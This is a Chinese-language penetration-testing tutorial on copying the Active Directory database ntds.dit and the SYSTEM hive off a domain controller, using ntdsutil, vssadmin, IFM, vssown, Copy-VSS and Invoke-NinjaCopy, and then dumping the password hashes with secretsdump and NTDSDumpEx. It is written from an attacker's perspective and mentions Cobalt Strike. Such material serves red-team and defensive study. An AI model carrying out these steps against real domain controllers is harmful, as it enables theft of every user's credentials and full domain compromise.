域控NTDS文件介绍
NTDS.DIT为DC的数据库,内容有域用户,域组,用户hash等信息,域控上的ntds.dit只有登录到域控的用户(如域管用户、DC本地管理员用户)可以访问,为了进一步保护密码hash值,使用储存再SYSTEM注册表配置单元中的密钥对这些Hash值进行加密。
NTDS.DIT文件位置:C:\Windows\NTDS
可采用的读取方法:
1、离线读取,将NTDS文件复制到攻击者的本地,然后使用工具进行读取。
2、在先读取,通过上传读取工具到域控电脑,进行在线读取。
3、远程读取,不需要上线域控,可以通过dcsync远程读取。
使用卷影拷贝提取NTDS文件
从Windows XP SP2和Windows Server 2003开始,微软就像Windows操作系统中引入了一项技术即卷影拷贝的服务(Volume Shadow Copy Service-VSS)。这种服务允许Windows系统以自动或者手动的方式对文件或磁盘卷宗的当前状态进行备份(或快照),需要注意的是,在这个过程中,即使文件处于打开状态下该服务仍然可以直接进行文件备份。
NTDS.DIT文件时默认被Windows系统锁定的,想要读取到该文件就要利用卷影拷贝服务,得到NTDS.DIT文件的副本。卷影拷贝服务本质上是属于快照技术的一种,主要用于备份和回复,即使目标文件处于被锁定的状态。
使用ntdsutil.exe进行拷贝
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具,该工具默认安装在域控服务器上,可以在域控控制器上直接进行操作,2003,2008,2012,2016等,提取NTSD过程分为三步。
第一步:创建NTDS快照
命令:ntdsutil.exe snapshot "activate instance ntds" create q q
第二步:将快照加载到磁盘中
命令:ntdsutil.exe snapshot "mount [快照集ID]" q q
可以快照已经加载到对应的C盘。
第三步:复制快照中的ntds.dit文件
命令:copy '快照地址\Windows\NTDS\ntds.dit' [目标地址]
删除快照
命令:ntdsutil.exe snapshot "umount [快照集ID]" "delete [快照集ID]" q q
注:在CS上执行相关命令也是一样的,只不过在CS上执行Windows的命令前面需要加Shell。
Vssadmin工具进行拷贝
Vssadmin是Windows Server 2008及Windows 7系统以上提供的VSS管理工具,它可以用于创建或者删除卷影副本,列出卷影副本的信息。
1)创建一个C盘快照
命令:vssadmin create shadow /for=c:
2)将快照中的ntds.dit复制出来
命令:copy [卷影副本卷名]\Windows\NTDS\ntds.dit [目的地址]
3)删除快照
命令:vssadmin delete shadows /for=c: /quiet
IFM方式进行拷贝
可以通过创建一个IFM的方式来获取ntds.dit。在使用ntdsutil船舰媒体安装集(IFM)时,需要进行生成快照、加载、将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作。
命令:ntdsutil "ac i ntds" "ifm" "create full [目标文件夹]" q q
此时ntds.dit文件被保存在[目标文件夹]\Active Directory
下:
SYSTEM和SECURITY两个文件被保存在[目标文件夹]\registry
文件下:
vssown提取ntds.dit文件
脚本地址:https://github.com/borigue/ptscripts/tree/master/windows
1)启动卷影复制服务
命令:cscript vssown.vbs /start
2)创建一个C盘的卷影副本
命令:cscript vssown.vbs /create c
3)列出当前卷影副本
命令:cscript vssown.vbs /list
4)复制文件到执行目录
命令:copy [Device object]\windows\NTDS\ntds.dit [目标地址]\ntds.dit
5)删除创建的卷影
命令:cscript vssown.vbs /delete [ID]
Copy-Vss.ps1进行拷贝
powershell脚本地址:https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1
导入脚本:Import-Module .\Copy-VSS.ps1
执行脚本:Copy-VSS.ps1
Invoke-NinjaCopy.ps1进行拷贝
powershell脚本:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
命令:
#导入脚本
Import-Module -name .\Invoke-NinjaCopy.ps1
#拷贝ntds.dit文件
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "[目标地址]\ntds.dit"
#拷贝system文件为system.hiv
Invoke-NinjaCopy -Path "c:\windows\system32\config\system" -LocalDestination "[目标地址]\system.hiv"
读取NTDS文件中的Hash值
使用secretsdump.exe读取Hash
工具地址:https://github.com/maaaaz/impacket-examples-windows
命令:.\secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
使用NTDSDumpEx读取Hash
工具地址:https://github.com/zcgonvh/NTDSDumpEx
命令:.\NTDSDumpEx.exe -d ntds.dit -s system.hive -o 1.txt